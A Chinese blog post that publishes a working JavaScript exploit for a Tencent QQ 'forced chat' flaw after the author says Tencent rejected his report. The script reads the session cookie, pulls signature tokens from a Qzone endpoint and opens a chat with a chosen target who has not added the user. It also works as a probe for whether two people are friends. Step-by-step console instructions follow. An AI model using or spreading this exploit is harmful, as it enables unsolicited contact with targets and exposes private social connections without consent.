最新QQ強制聊天代碼，同時可判斷好友關系

     QQ強聊雖然早就變成了一個傳說，但現在依然可以實現。

     小菜其實早就知道這個漏洞，但是一直沒公布，前兩天突然來興致試了試，沒想到漏洞依然存在。

     然后小菜跑到了烏雲漏洞報告平台舉報漏洞，但沒想到被騰訊魯莽的否認了，他竟然說漏洞不存在，漏洞不存在，那些截圖是怎么來的。。。小菜辛辛苦苦寫的漏洞原理，就這么無情的被拒絕了。。。

     小菜很失望，既然騰訊這么不負責任，那小菜就把漏洞發出來。

     漏洞的具體原理，小菜已經在烏雲上闡述了《騰訊QQ強制聊天漏洞》，十分的詳細，在這不多說。

     為了讓讀者更方便的利用此漏洞，小菜寫了一個js腳本，腳本如下

(function(exports){

  var chatVO = {
    //你的QQ
    yourQQ: "20737302",
    //你好友的QQ
    yourFQQ: "649374916",
    //女神的QQ
    targetQQ: "20618348",
    //女神好友的QQ
    targetFQQ: "649374916"
  };
  var config = {
    init: function(){
      var skey;
      skey = getCookie("skey") || getCookie("rv2") || "";
      function getCookie(name){
        var r = new RegExp("(?:^|;+|\\s+)" + name + "=([^;]*)"), m = document.cookie.match(r);
        return !m ? "" : m[1];
      }
      function _DJB (str) {
        var hash = 5381;
        for (var i = 0, len = str.length; i < len; ++i)
            hash += (hash << 5) + str.charCodeAt(i);
        return hash & 2147483647
      };
      
      this.sigURL = this.sigURL.replace("{{t}}",_DJB(skey));
    },
    sigURL: "http://r.qzone.qq.com/cgi-bin/user/cgi_tmp_talk?qzone_uin={{sender}}&to_uin={{receiver}}&g_tk={{t}}",
    chatURL: "tencent://message/?Menu=yes&uin={{sender}}&Service=112&SigT={{sigt}}&SigU={{sigu}}"
  };
  var util = {
    ajax: function(obj){
      var xmlHttp;
      
      if(obj.async === undefined){
        obj.async = true;
      }
      
      if(window.XMLHttpRequest){
          xmlHttp = new XMLHttpRequest();
      }else{
          xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
      }
      
      xmlHttp.onreadystatechange=function(){
        obj.callback(xmlHttp);
      };
      xmlHttp.open(obj.type,obj.url,obj.async);
      xmlHttp.send();
    }
  };
  var logic = {
    getSigU: function (sender,receiver){
      var sigu = "";
      util.ajax({
        url: config.sigURL.replace("{{sender}}",sender).replace("{{receiver}}",receiver),
        type: "get",
        async: false,
        callback: function(xhr){
          if(xhr.readyState == 4){
            var html = xhr.responseText.replace(/[\n]/g,"");
            if(/&SigU=/gmi.test(html)){
              sigu = html.split(/&SigU=/m)[1].split(/'/m)[0];
            }else{
              alert("你和你的好友，好友關系不成立！");
            }
          }
        }
      });
      
      return sigu;
    },
    getSigT: function (sender,receiver){
      var sigt = "";
      util.ajax({
        url: config.sigURL.replace("{{sender}}",sender).replace("{{receiver}}",receiver),
        type: "get",
        async: false,
        callback: function(xhr){
          if(xhr.readyState == 4){
            var html = xhr.responseText.replace(/[\n]/g,"");
            if(/&SigT=/gmi.test(html)){
              sigt = html.split(/&SigT=/m)[1].split(/&SigU=/m)[0];
            }else{
              alert("他和他的好友，好友關系不成立！");
            }
          }
        }
      });
      
      return sigt;
    },
    runChat: function (sender,sigu,sigt) {
      exports.location = config.chatURL.replace("{{sender}}",sender).replace("{{sigt}}",sigt).replace("{{sigu}}",sigu);
    }
  };
  
  config.init();
  
  var sigu = logic.getSigU(chatVO.yourQQ,chatVO.yourFQQ);
  var sigt = logic.getSigT(chatVO.targetFQQ,chatVO.targetQQ);
  
  logic.runChat(chatVO.targetQQ,sigu,sigt);
  
})(this);

     這個腳本，您只需要關注最頂部的四個參數，

•      yourQQ: "20737302",
•      yourFQQ: "649374916",
•      targetQQ: "20618348",
•      targetFQQ: "649374916"

     這四個參數缺一不可，而且必須都正確，讀者可根據自己的實際情況填寫，主要就是女神好友的QQ可能不知道（任意一個好友即可），猜吧！

     假如您不知道女神好友的QQ，亂填一個，會提示好友關系不成立，順便還可以用這個提示測試兩個人是不是好友，很實用吧！

　  測試的時候忽略了一個問題：女神好友的QQ(targetFQQ)，作為中間人，不能隨便填，必須同時是你們兩個的好友才可以。。。抱歉！！

     接下來說說怎么運行這個腳本。

     首先要用瀏覽器打開你的QQ空間，最好使用火狐和谷歌瀏覽器，然后保持QQ空間是登錄狀態。

     然后在QQ空間的選項卡旁邊新建一個選項卡，輸入網址：http://r.qzone.qq.com，按回車轉到，發現是一片空白，這就對了。

     在瀏覽器上按F12打開控制台，把腳本粘貼到控制台中，運行即可。

     為什么要這么做呢。。。登錄QQ空間是為了拿到有效的cookie，否則沒辦法訪問騰訊接口，而新建一個選項卡是為了避免跨域問題，同時又可以與登錄的QQ空間共享cookie。

     其他就沒什么了，快動手試試吧！